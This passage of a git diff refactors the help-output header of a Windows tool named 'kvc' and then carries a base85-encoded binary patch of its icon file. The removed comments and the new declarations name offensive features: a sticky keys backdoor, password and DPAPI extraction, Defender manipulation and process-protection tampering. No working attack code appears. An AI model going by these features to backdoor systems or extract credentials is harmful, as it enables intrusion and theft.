noexcept; static void PrintSessionManagement() noexcept; + static void PrintSystemCommands() noexcept; + static void PrintRegistryCommands() noexcept; + static void PrintBrowserCommands() noexcept; + static void PrintDefenderCommands() noexcept; + static void PrintSecurityEngineCommands() noexcept; + static void PrintDPAPICommands() noexcept; + static void PrintWatermarkCommands() noexcept; - /** - * @brief Print sticky keys backdoor documentation - * - * Installation, removal, and security warnings for: - * - Sticky keys backdoor mechanism - * - Security implications - * - Installation procedure - * - Removal procedure - * - * @warning Security risk - authorized use only - */ + // Documentation sections + static void PrintProtectionTypes() noexcept; + static void PrintExclusionTypes() noexcept; + static void PrintPatternMatching() noexcept; + static void PrintTechnicalFeatures() noexcept; + static void PrintDefenderNotes() noexcept; static void PrintStickyKeysInfo() noexcept; - - /** - * @brief Print undumpable process documentation - * - * Lists processes with anti-dump protection: - * - LSA protected processes - - System critical processes - * - Anti-malware protected processes - * - Dumpability analysis results - * - * @note Processes that cannot be memory dumped - */ static void PrintUndumpableProcesses() noexcept; - - /** - * @brief Print usage examples with real scenarios - * @param programName Program name for display in examples - * - * Shows practical command combinations for common tasks: - * - Process protection manipulation - * - Password extraction - * - System maintenance - * - Debugging and analysis - * - * @note Real-world usage scenarios - */ static void PrintUsageExamples(std::wstring_view programName) noexcept; - - /** - * @brief Print security notice and disclaimer - * - * Legal and ethical use warnings: - * - Authorized testing only - * - Legal compliance requirements - * - Responsible disclosure - * - Educational purposes - * - * @note Important legal and ethical considerations - */ static void PrintSecurityNotice() noexcept; - - /** - * @brief Print footer with donation links - * - * Support information and donation links: - * - PayPal donation link - * - Revolut donation link - * - Contact information - * - Support acknowledgments - * - * @note Optional support for project development - */ static void PrintFooter() noexcept; private: - // === Helper Methods for Consistent Formatting === - - /** - * @brief Print color-coded section header - * @param title Section title to display - * - * Formats section headers with yellow color for visibility - * and consistent spacing. - * - * @note Internal formatting helper - */ + // Formatting helpers static void PrintSectionHeader(const wchar_t* title) noexcept; - - /** - * @brief Print formatted command line with description - * @param command Command syntax - * @param description Command description - * - * Displays command and description in aligned columns - * for readability. - * - * @note Internal formatting helper - */ static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept; - - /** - * @brief Print informational note - * @param note Note text to display - * - * Formats informational notes with indentation and - * "Note:" prefix. - * - * @note Internal formatting helper - */ static void PrintNote(const wchar_t* note) noexcept; - - /** - * @brief Print warning message - * @param warning Warning text to display - * - * Formats warning messages with red color, indentation, - * and "WARNING:" prefix. - * - * @note Internal formatting helper - */ static void PrintWarning(const wchar_t* warning) noexcept; }; \ No newline at end of file diff --git a/kvc/ICON/kvc.ico b/kvc/ICON/kvc.ico index 22c098eac29092354f4136d2d27882bf6781ae13..0146b015f6f7fc58c9ee3a2901051eda2cb4ee31 100644 GIT binary patch literal 14251 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 literal 23686 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 